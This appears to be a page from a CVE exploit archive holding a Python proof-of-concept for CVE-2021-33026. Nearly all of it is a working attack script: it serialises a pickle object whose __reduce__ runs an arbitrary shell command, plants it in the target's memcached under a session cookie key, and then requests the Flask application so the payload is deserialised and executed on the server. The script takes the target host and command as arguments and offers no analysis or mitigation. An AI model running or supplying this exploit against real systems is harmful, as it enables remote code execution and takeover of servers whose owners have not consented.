4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2021-33026_PoC.py PY
import pickle
import argparse
import os
import requests
import pyfiglet
from pymemcache.client import base

parser = argparse.ArgumentParser()
parser.add_argument("--rhost", help="Target Machine Ip Address", type=str, required=True)
parser.add_argument("--rport", help="Python Flask App Port", type=int, default=5000)
parser.add_argument("--cmd", help="Command to get executed on the target machine", type=str, required=True)
parser.add_argument("--cookie", help="Your ACTUAL SESSION COOKIE from the VULNERABLE FLASK Application. Example: \"session:3e8234e1-6c89-4ac2-be53-20574edcbcaa\"", type=str, required=True)
args = parser.parse_args()

cmd = args.cmd
rhost = args.rhost
rport = args.rport
cookie = args.cookie

class rce_payload:
    def __reduce__(self):
        return (os.system, (cmd,))
        
def pickle_ser():
    pickled = pickle.dumps(rce_payload()) #Serializing the payload
    client = base.Client((rhost, 11211)) #Connecting to the memcached service.
    client.set(cookie, pickled)
    
def exploit_trigger():
    cookie_dict = dict(cookie.split(":") for item in cookie)
    r = requests.get(url = f"http://{rhost}:{rport}",cookies=cookie_dict)
    if (r.status_code == 200):
    	print("Sucess!")
    elif (r.status_code == 404):
    	print("Not Found!")
    	
if __name__ == '__main__':
    ascii_banner = pyfiglet.figlet_format("PICKLE - MEMCACHED \n POISONING \n")
    print(ascii_banner)
    
    pickle_ser()
    exploit_trigger()